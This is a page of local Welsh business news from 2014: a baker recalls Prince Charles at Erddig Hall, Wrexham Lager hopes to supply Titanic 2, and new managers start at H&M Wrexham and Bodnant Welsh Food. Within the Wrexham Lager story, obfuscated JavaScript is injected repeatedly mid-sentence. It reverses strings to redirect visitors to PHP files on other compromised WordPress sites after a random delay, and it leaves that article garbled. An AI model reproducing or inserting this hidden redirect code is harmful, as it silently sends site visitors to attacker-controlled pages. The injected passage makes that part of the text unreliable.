Category: News

Royal seal of approval for Wrexham-based Village Bakery at Erddig Hall

VILLAGE BAKERY? Alun Jones Bakes Bread at Erddig.

A top baker has revealed how he burned the fingers of the Prince of Wales and had a run in with the royal security team at a stately home.

Alan Jones, Chairman of the Village Bakery, recalled the incident while he was recreating a scene from the official opening of Erddig Hall in Wrexham back in 1977.

The guest of honour was Prince Charles and Alan was recruited to bake bread in the old brick oven to give the occasion an authentic flavour.

As part of a major rebranding of the Village Bakery which is celebrating its 80th anniversary this year, Alan was back at Erddig Hall baking bread in the oven again – this time for a video to go on the company’s new website.

The filming brought back fond memories of the day Prince Charles was invited there by the National Trust after they restored the magnificent mansion in readiness to open it to the public.

Alan used the bakery table he donated to Erddig back in 1977 and while rooting around in a cupboard looking for props the found the bread baking tins he’d brought with him to the official opening.

He recalled: “Timing was important because they wanted bread coming out of the oven as Prince Charles came to the kitchen.

“Luckily, we had it dead right. Just as he was walking through the kitchen with his entourage I was peeling bread out of the oven after being baked for 40 minutes.

“I popped the bread on the table and in his wisdom the Prince picked up a loaf which was red hot because it had just come out of the oven.

“Basically he burnt his hand. I apologised and he was absolutely fine and we had a nice chat.

“He was very interested in the process and said he was flying from there to Anglesey and he wanted to know if it was possible to take some bread and bread rolls for lunch

“After he left for another part of the visit, I got the bread together with some rolls and took them to where the helicopter was parked.

“I was across carrying two carrier bags full of fresh bread when all of a sudden I was pounced on by security but they were okay once they’d checked the bags and I explained that it was for the Prince’s picnic on Anglesey. It was a bit hairy in the beginning though.

“Whilst he was in the bakery, I did ask the Prince if he’d like one to take home for his mum!”

The memorable occasion was one of many highlights in Alan’s 50 year career at the Village Bakery.

Alan started out as an apprentice baker in Liverpool in 1959 and rose through the ranks to become, at 21, the youngest ever production manager with the Sunblest bakery.

In 1964 he and his father, Harry, then bought what became the Village Bakery in Coedpoeth, near Wrexham, from the Edwards Brothers who had established the business 30 years earlier.

A year later Alan met and then married his wife, Wendy, who just happened to be the daughter of the head of a rival bakery in the village, Greatorex.

He added: “It was a very small bakery when we bought it. In those days there were five bakeries in Coedpoeth and it was hard work. After a difficult first 18 months, we have gone from strength to strength.

“I never imagined the growth we’ve achieved when we first took over the bakery in 1964.

“The first week’s takings were £360 and in those days we employed seven or eight people including my dad and me.

“This is a really important year for the Village Bakery as we celebrate our 80th anniversary and 50 years for me.

“We always look to the future but the ingredients of success have stayed the same. We have a good, loyal workforce and we use the best possible ingredients in our products.

“If you work hard and look after the basics, the rest looks after itself.”

A spokesperson for Erddig Hall said: “We’re delighted to be part of the Village Bakery’s 80th Anniversary celebrations, providing an authentic bakery location for filming the early years of the business.  It is always a pleasure to bring the property to life in this way; something we do regularly for visitors and school groups.

“It was fascinating to hear Alan Jones’ stories about baking over the years and his role as our baker for HRH The Prince of Wales at the official opening of Erddig in 1973.

“We are grateful to the Village Bakery for their generous donations to our vast collection which includes several loaf tins and the iconic baking table seen in the film and would like to congratulate them on their 80 years of service to baking; long may it continue!”

Wednesday April 2nd, 2014

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Wrexham Lager served on Titanic

Wrexham Lager s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tory. Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Mark Roberts with Donna Hughes, of Wrexham Northern Marches at the Brewery in Wrexham

The Welsh beer served on the ill-fated Titanic back in 1912 could be back on the ocean wave, in the bars of the planned Titanic 2, due to be launched in two year’s time.

Casks of Wrexham Lager were loaded aboard the great ship which sank after hitting an iceberg in the Atlantic on its maiden voyage over 100 years ago.

Wrexham Lager itself sank 12 years ago and the land where the brewery stood is now a retail park but the famous beverage was resurrected in 2011 and now plans are in place to start supplying its most famous customer when it makes a comeback.

Director Mark Roberts is due to give an update on the marketing of the iconic lager, the first to be brewed in the UK back in 1881, at the North East Wales Food Conference at Glyndwr University on Monday, April 14.

The event, which is for food producers from Flintshire, Denbighshire and Wrexham, is organised by rural regeneration agency Cadwyn Clwyd and Northern Marches Cymru and paid for through the European Agricultural Fund for Rural Development (EAFRD) through the Welsh Government’s Rural Development Plan.

Donna Hughes, Local Food Project Officer for Northern Marches Cymru, said: “The rebirth of Wrexham Lager has been a fantastic and inspirational story and shows the possibilities for high quality food products made by people who are passionate about what they do.

“They have come a long way in a very short time and now with the ability to increase production and with the prospect of exciting new markets they can look forward to further growth.”

Wrexham Lager s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[tory. Managing Director Mark Roberts with Donna Hughes, of Wrexham Northern Marches at the Brewery in Wrexham" src="http://dev.ceidiog.com/pr/files/2014/03/2403lager31-ceidiog.jpg" width="400" height="267" />

Mark Roberts said: “An Australian mining billionaire, Clive Palmer, plans to build a new Titanic 2 and we got to hear about it and the fact that they were looking to use original suppliers if possible.

“They have signed up the original brandy and champagne houses and we thought it was only right that they should have the original lager suppliers too.

“Wrexham Lager was popular aboard ships because it travelled well and kept its flavour and it was served aboard the White Star liners of which the Titanic was the flagship.

“We have been in touch with the new Blue Star Line which will own the Titanic 2, we’ve sent them samples and they have been very positive about using us.”

In an e-mail James McDonald, of Blue Star Line, said: “I have been able to have some of the beers put on ice and managed to sample a couple. We all agree they are fantastic.

“We could discuss more about Titanic 2 licensing and availability to be the official beer of the Titanic 2.”

Mark Roberts said: “One of our problems has been capacity but that looks to have been solved now thanks to Wrexham Council which has just granted us planning permission for new storage tanks for maturing the beer.

“At the moment we can only produce 5,000 gallons a week but with the new tanks we could do 60,000 gallons a week and that means we can guarantee supply.

“That will open up plenty of new opportunities for us but we are busy marketing on social media and by word of mouth and we’re really pleased with the response.

“Wrexham Veterans rugby team are going to Chicago this summer and we’ll be taking some there with us so we could have more overseas markets to report on soon and we have had a lot of interest from ex-pat communities.

“When the brewery closed it had been sold to Carlsberg and they really reduced the quality of it but we’re back now, brewing it at the original strength of four per cent and maturing it properly.”

Mark’s brother, Vaughan – the family team that put the bubbles back into Wrexham Lager was completed by brother John and sister Janet Gaffey – is keen to stress the quality of the product.

“We have former head brewer Ian Dale in charge and we’ve got state of the art equipment made in Bamburg by Kaspar Schulz, Germany’s oldest maker of brewing equipment with over 300 years of experience,” he said.

“This is now an artisan craft beer and we’re keen to market it around the world again – it was one of the first beers to be exported widely because it kept its quality.

“They even found a bottle of it at Khartoum in the Sudan after General Gordon and his men were massacred there in 1885.”

The Food Conference starts at 6pm, on Monday, April 14, at the Catrin Finch Centre, at Glyndwr University, with a free, locally-sourced buffet and as well as Mark Roberts, other key speakers will include Andrew Martin, Welsh Government Senior Business Development Manager and responsible for food festivals and food centres across North and Mid Wales, Jonathan Cope of The Chunky Cheese Company, Jon Les Tomos of Mold Food Festival, and Llior Radford of Llaeth Y Llan.

Cadwyn Clwyd Agri-Food Officer Robert Price said: “This is a wonderful opportunity for food producers from across the area to learn how to take the next step up into finding new markets for their products.

“North East Wales has some of the richest and most diverse food and it really is the garden of Wales so it has everything going for it and this conference aims to help our producers find new customers.”

To register to attend contact Donna Hughes, on 10978 298381 or e-mail to:info@northernmarchescymru.co.uk">info@northernmarchescymru.co.uk.

For more information on Northern Marches Cymru projects go to www.northernmarchescymru.co.uk and for Cadwyn Clwyd projects ring 01824 705802, e-mail to:info@cadwynclwyd.co.uk">info@cadwynclwyd.co.uk or go to http://www.cadwynclwyd.co.uk

 

Tuesday April 1st, 2014

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Talented designer Jayne takes charge at Wrexham’s H&M fashion store

Jayne Wilson new manager at H&M in Eagles Meadow in Wrexham

An award-winning young designer has taken the reins at a high street fashion store.

Jayne Hannah Wilson, 29, is the new manager of H&M at the Eagles Meadow shopping centre in Wrexham.

The fashion obsessed go-getter, who won a £400 prize for her wallpaper designs at an exhibition whilst studying for a degree in 3D design at Liverpool University, is always on the lookout for the latest styles.

Jayne said: “I’m pretty obsessed with fashion. Every week I make sure I know what’s going on in the market, and I’ve always been like that. It’s mainly keeping up with designers.

“I like to make sure I know what’s going to be big six months in advance. Now designers are launching their autumn and winter collections.

“Autumn it’s going to be quite baroque styles – things like thick embellished jackets, and long velvet overthrows.”

Jayne is a great believer in the smart but practical look.

She said: “Working in this environment you’re on your feet most of the day. You’re up and down ladders all the time. You need to comfortable but it’s also having that little bit of smart edge.

“My favourite thing of the moment is the skort, which is skirt that has a separator in it so it looks like a pair shorts.

“They’re practical but they’ve got a bit of a chic vibe. You don’t have to worry about the whole ladder situation!”

Jayne, who completed a B Tech National Diploma in Art and Design at West Cheshire College in Ellesmere Port, started her career working weekends at catalogue merchant Argos.

She then worked as a weekend supervisor at interior company Au Naturale.

Jayne said: “I’ve always worked. I was at college full-time and worked every Saturday and Sunday. It gave me a solid grounding. It was my degree and my work background that got me in with H&M.

After graduating from Liverpool University in 2007 Jayne beat off tough competition to become an administration manager in H&M’s Chester store.

She said: “I was very specific about the companies that I would and wouldn’t work for. It wasn’t so much the job description. It was what company I’d want to grow in. I was thinking five years ahead.

“The company has a really high internal succession rate and they like to train and develop their staff. They do all of their own training packages.

“It’s very unusual that H&M advertises externally for management positions so I was very lucky initially got have got in.”

Two and a half years in Jayne was talent-spotted by the area manager and put on the fast-track to the top.

Jayne said: “They interviewed me and I got a ladies department manager role. I did that for two years, and then they moved me to Cheshire Oaks for the store manager to develop me for my own store.”

Jayne describes her management style as firm, fair and direct.

She said: “What I’ve always said since I’ve been a manager is I would never ask someone else to do something I wouldn’t do myself.

“The staff all see me sweeping the floors and emptying the bins, so if they’ve got a problem with it they shouldn’t have because I’m the manager and I do it.

“High standards are important and so is relating to customers.

“It’s important to make eye contact, to smile, to say hello, to say thank you, and to always have your name badge on so the customer knows who you are because we don’t have a uniform.

“If a customer is frowning and looking to see if there is anyone round to help, then the staff are trained to approach that customer because they might not be able to find what they’re looking for.”

Eagles Meadow Manager Kevin Critchley: “I’d like to congratulate Jayne on her appointment. She is a bright and very talented retailer and will I am sure be an asset to Eagles Meadow in general and H&M in particular.”

Monday March 31st, 2014

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Master butcher goes in to bat for Conwy’s Bodnant Welsh Food

BODNANT WELSH FOODS . Pictured is Butcher Tony Gibbson .

An award-winning butcher whose steaks and joints have fed some of the world’s top cricketers has taken over at a centre of excellence for Welsh food.

Master butcher Tony Gibson, 53, is the new man in charge of the acclaimed butchery at Bodnant Welsh Food, in the Conwy Valley.

Tony is from Scarborough and for many years ran Gibsons Butchers which was voted Yorkshire’s most dynamic and exciting family-run business at Barclays Local Business Awards in 2009 and North of England Family Business of the Year in 2010.

The Barclays win earned him a ringing endorsement from Reggae Reggae Sauce entrepreneur Levi Roots who described Gibsons as a fantastic business and an outstanding example of a family firm.

Keen cricketer Tony – who has been involved with Scarborough Cricket Club and the world-famous Scarborough Cricket Festival for 40 years – used to supply meat for meals when top international touring sides played their traditional matches at the seaside ground.

After selling the business two years ago he has worked for supermarket giants Tesco as a consultant and butchery expert, advising the UK’s biggest grocers on the remodelling of their meat departments and on customer relations.

He said: “I was seen as a good communicator and so I was involved in training staff in dealing with the public.

“They’re an incredibly powerful business but had been criticised for not being good at communicating so I was involved in coaching staff to change the way they communicated with each other and with customers.”

But Tony wanted to return to his roots and jumped at the chance to take on a new challenge at Bodnant. He said: “I’m from a farming family in North Yorkshire, just outside Scarborough and was channelled into butchery by my grandfather at a very early age.

“I’ve never known anything else. I was in the slaughterhouse at the age of seven and by 11 I was working in the village butchers.

“I was a keen cricketer and footballer but was raised by my grandparents and was always told that even if I could achieve something at sport I’d always need to be able to earn a living and I followed that advice.”

He started playing cricket for Scarborough aged 12 and has had over 40 years of unbroken service to the club as player, coach, committee man and chairman and has overseen the redevelopment of the famous club and ground.

He was a wicket-keeper and played for Scarborough with Yorkshire stars like former county skipper David Byas and England off-spinner Geoff Cope while England Test legend and TV pundit Geoff Boycott is a personal friend.

His involvement at Scarborough included arranging a £3.5 million redevelopment of the ground sponsored by Tesco and in organising the famous annual cricket festival.

That was in addition to running a successful business and he said: “The traditional environment has been my life. I understand livestock because we kept livestock at home and we had the butchers shop in Scarborough.

“I’ve worked with the multiples now as well and I was attracted to this as a return to my roots and as a new challenge in an environment which I love and which I believe in.

“People I know told me it was a gorgeous area and I knew the quality of the produce, particularly the beef and the Welsh lamb which has a worldwide reputation and when I came here I just fell in love with the place.

“I like the ethos here at Bodnant Welsh Food. It’s about the carbon footprint of the business and sourcing locally and I want to be involved in that at a local and Welsh level.

“It’s also about supporting the local economy and agriculture and that’s important to me because I recognise how difficult life has been for traditional hill farmers.

“The big multiples have done a good job for the customer and brought down prices but there has to be a recognition that for a high quality product there has to be a cost and the farmer who produces that top quality food has to make a living himself.

“This is food that hasn’t been messed around with and it’s increasingly important for people to know where their food comes from and I welcome that and I really enjoy it when customers ask where it’s from.

“The people here at Bodnant have a passion for what this business is about and I share that passion.”

Gwyndaf Pritchard, General Manager at Bodnant Welsh Food, said: “We’re delighted to have someone of Tony’s calibre and experience take on the role of Master Butcher here.

“In an area like this which is renowned for the quality of its produce and particularly its meat it is important to have someone with a real understanding of the business, literally from field to fork, and Tony fits the bill perfectly.

“We pride ourselves on the quality of our meat and on the relationship we have with our suppliers, many of them local and including our own farm estate because we actually produce 45 per cent of what we sell here on the Bodnant Estate.

“We list the farms which have produced the meat we have on sale which is all bought in whole carcasses and butchered here and if customers ask then we can not only tell them where the meat is from, we can often even give them directions to the farm.”

Friday March 28th, 2014

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